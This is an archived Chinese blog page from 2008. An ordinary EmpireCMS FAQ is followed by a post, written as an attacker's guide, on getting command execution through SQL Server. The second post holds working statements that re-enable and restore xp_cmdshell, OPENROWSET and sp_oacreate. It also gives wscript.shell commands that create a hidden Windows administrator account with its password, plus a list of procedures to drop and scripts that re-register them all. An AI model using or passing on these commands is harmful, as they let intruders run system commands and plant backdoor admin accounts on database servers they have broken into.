Archive for 04月, 2008

29
Apr

有很多问题,其实都有说明,或者论坛已经有了解答,但对于新接触的人说,就不一定知道了,把一些常见的问题整理出来(和WC教程的常见问题不太一样)

1。在页面调用评论框和评论
需要在内容页显示评论框的,把评论模板里的评论框复制过来就行了
调用最新评论(默认0条)
<script  type=”text/javascript”  src=/e/pl/more?classid=46&id=84&num=5></script>

2。如何在标题列表后加上评论地址?
用万能标签,评论地址为:  /e/pl?id=84&classid=46

3。信息报错功能调用
/e/DownSys/report?classid=46&id=84

4。免费版指替换内容中的某些值
运行"update    phome_ecms_news    set    newstext=REPLACE(newstext,’原内容’,'新内容’),titlepic=REPLACE(titlepic,’原内容’,'新内容’)
如果只替换内容中的,后面那句可以去掉

5。清除采集时的空白数据
系统设置==执行SQL语句
delete    from    phome_ecms_news    where    newstext    =    ”;

6。清除相同标题的SQL语句
参考这个帖子:http://bbs.phome.net/ShowThread/?threadid=10132&forumid=13

7。修改友情链接,不规则排列(文字)
参考这个帖子:http://bbs.phome.net/ShowThread/?threadid=9250&forumid=13

8,emsinfo标签的多栏目调用如何用?
[ecmsinfo]’15,18,22′,2,0,0,2,13,1[/ecmsinfo]

9,我想改一下分类的目录名称,怎么改?
修改当前分类与子分类的目录(用phpmyadmin改)

10,自定义页面无法显示?

用相对路径
../../info/aboutus.html

11,ECMS一共有多少个表?
免费版有57个左右

12,同一内容,是不是不可以进行第二次采集?

不是,管理节点-》清空

13,采集的时候怎么过滤font之类的标签?

<font[!–ad–]>替换</font>
如果中间文字不要,直接<font[!–ad–]</font>

14,评论调用方法?

<script  src=/e/pl/more?classid=46&id=84&num=10></script>

如要改格式只能改e/pl/more/index.php文件了,直接用dreamweaver打开那个php文件

15,关于帝国审核问题

如果系统有多个编辑的话,建议把直接审核去掉直接审核的话就会生成文件

29
Apr

如果不删除sql危险存储?

Author: 比比巴儿

如果不删除sql危险存储,可以按下面的方法执行系统命令

sql server 2005下开启xp_cmdshell的办法
EXEC sp_configure ’show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

SQL2005开启’OPENROWSET’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ad Hoc Distributed Queries’,1;RECONFIGURE;

SQL2005开启’sp_oacreate’支持的方法:

exec sp_configure ’show advanced options’, 1;RECONFIGURE;exec sp_configure ‘Ole Automation Procedures’,1;RECONFIGURE;

突破SA的各种困难

常见情况恢复执行xp_cmdshell
1 未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,'xpweb70.dll’
然后按F5键命令执行完毕
四.终极方法.
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\winnt\system32\cmd.exe /c net localgroup administrators dell /add’

xp或2003server系统:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user dell huxifeng007 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net localgroup administrators dell /add’

————–
xp_cmdshell新的恢复办法
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’

恢复
dbcc addextendedproc (”sp_oacreate”,”odsole70.dll”)
dbcc addextendedproc (”xp_cmdshell”,”xplog70.dll”)

这样可以直接恢复,不用去管sp_addextendedproc是不是存在

—————————–

删除扩展存储过过程xp_cmdshell的语句:
exec sp_dropextendedproc ‘xp_cmdshell’

恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

开启cmdshell的sql语句

exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在
select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

恢复xp_cmdshell
exec master.dbo.addextendedproc ‘xp_cmdshell’,'xplog70.dll’;select count(*) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok

否则上传xplog7.0.dll
exec master.dbo.addextendedproc ‘xp_cmdshell’,'c:\winnt\system32\xplog70.dll’

堵上cmdshell的sql语句
sp_dropextendedproc “xp_cmdshell
—————-
删除sql危险存储:

DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc

/*不狐 附上恢复扩展存储过程的办法

先恢复sp_addextendedproc,语句如下:

SQL代码

  1. create procedure sp_addextendedproc — 1996/08/30 20:13   
  2. @functname nvarchar(517),/* (owner.)name of function to call */ @dllname varchar(255)/* name of DLL containing function */ as  
  3. set implicit_transactions off  
  4. if @@trancount > 0   
  5. begin  
  6. raiserror(15002,-1,-1,’sp_addextendedproc’)   
  7. return (1)   
  8. end  
  9. dbcc addextendedproc( @functname, @dllname)   
  10. return (0) – sp_addextendedproc   
  11. GO  

再恢复以上所有扩展存储过程

SQL代码

  1. use master    
  2. exec sp_addextendedproc xp_cmdshell,‘xp_cmdshell.dll’    
  3. exec sp_addextendedproc xp_dirtree,‘xpstar.dll’    
  4. exec sp_addextendedproc xp_enumgroups,‘xplog70.dll’    
  5. exec sp_addextendedproc xp_fixeddrives,‘xpstar.dll’    
  6. exec sp_addextendedproc xp_loginconfig,‘xplog70.dll’    
  7. exec sp_addextendedproc xp_enumerrorlogs,‘xpstar.dll’    
  8. exec sp_addextendedproc xp_getfiledetails,‘xpstar.dll’    
  9. exec sp_addextendedproc sp_OACreate,‘odsole70.dll’    
  10. exec sp_addextendedproc sp_OADestroy,‘odsole70.dll’    
  11. exec sp_addextendedproc sp_OAGetErrorInfo,‘odsole70.dll’    
  12. exec sp_addextendedproc sp_OAGetProperty,‘odsole70.dll’    
  13. exec sp_addextendedproc sp_OAMethod,‘odsole70.dll’    
  14. exec sp_addextendedproc sp_OASetProperty,‘odsole70.dll’    
  15. exec sp_addextendedproc sp_OAStop,‘odsole70.dll’    
  16. exec sp_addextendedproc xp_regaddmultistring,‘xpstar.dll’    
  17. exec sp_addextendedproc xp_regdeletekey,‘xpstar.dll’    
  18. exec sp_addextendedproc xp_regdeletevalue,‘xpstar.dll’    
  19. exec sp_addextendedproc xp_regenumvalues,‘xpstar.dll’    
  20. exec sp_addextendedproc xp_regread,‘xpstar.dll’    
  21. exec sp_addextendedproc xp_regremovemultistring,‘xpstar.dll’    
  22. exec sp_addextendedproc xp_regwrite,‘xpstar.dll’    
  23. exec sp_addextendedproc xp_availablemedia,‘xpstar.dll’